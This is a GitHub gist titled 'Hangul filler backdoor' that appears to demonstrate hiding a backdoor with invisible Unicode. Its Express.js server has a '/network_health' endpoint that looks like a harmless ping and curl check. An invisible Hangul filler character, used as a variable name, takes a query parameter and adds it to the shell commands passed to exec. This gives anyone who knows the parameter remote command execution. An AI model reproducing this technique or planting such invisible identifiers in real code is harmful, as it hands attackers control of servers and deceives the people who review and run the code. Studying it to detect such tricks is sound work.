Skip to content

Instantly share code, notes, and snippets.

@bekharsky
Created December 10, 2021 20:11
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save bekharsky/fa4c071ce657e37f6d0f3e7f4a91799b to your computer and use it in GitHub Desktop.
Save bekharsky/fa4c071ce657e37f6d0f3e7f4a91799b to your computer and use it in GitHub Desktop.
Hangul filler backdoor
const express = require('express');
const util = require('util');
const exec = util.promisify(require('child_process').exec);
const app = express();
app.get('/network_health', async (req, res) => {
const { timeout,ㅤ} = req.query;
const checkCommands = [
'ping -c 1 google.com',
'curl -s http://example.com/',ㅤ
];
try {
await Promise.all(checkCommands.map(cmd =>
cmd && exec(cmd, { timeout: +timeout || 5_000 })));
res.status(200);
res.send('ok');
} catch(e) {
res.status(500);
res.send('failed');
}
});
app.listen(8080);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment